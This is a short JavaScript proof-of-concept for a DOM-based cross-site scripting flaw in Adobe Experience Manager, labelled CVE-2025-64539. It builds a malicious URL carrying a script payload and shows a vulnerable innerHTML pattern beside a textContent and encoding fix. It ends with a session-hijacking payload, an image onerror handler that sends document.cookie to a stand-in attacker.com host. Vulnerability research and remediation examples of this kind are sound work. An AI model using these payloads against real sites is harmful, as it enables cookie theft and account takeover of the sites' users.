CVE-2025-64539

// CVE-2025-64539 DOM-based XSS PoC for Adobe Experience Manager // This PoC demonstrates the DOM XSS vulnerability in AEM // Malicious URL construction const maliciousPayload = '<script>alert(document.cookie)</script>'; const baseUrl = 'https://vulnerable-aem-instance.com/content/page.html'; const pocUrl = `${baseUrl}?param=${encodeURIComponent(maliciousPayload)}`; console.log('CVE-2025-64539 PoC URL:'); console.log(pocUrl); // Simulated vulnerable code pattern (what attackers exploit) function vulnerableCode() { // VULNERABLE: Direct use of URL parameter without sanitization const userInput = new URLSearchParams(window.location.search).get('param'); // VULNERABLE: Using innerHTML to insert user data document.getElementById('output').innerHTML = userInput; // This causes the injected script to execute } // Safe code pattern (recommended fix) function safeCode() { const userInput = new URLSearchParams(window.location.search).get('param'); // SAFE: Using textContent instead of innerHTML document.getElementById('output').textContent = userInput; // Or properly encode before insertion const safeHtml = userInput .replace(/&/g, '&amp;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/"/g, '&quot;') .replace(/'/g, '&#x27;'); // Then use safe DOM methods } // Attack scenario: Session hijacking const sessionHijackPayload = ` <img src=x onerror=" fetch('https://attacker.com/steal?cookie=' + document.cookie) "> `;
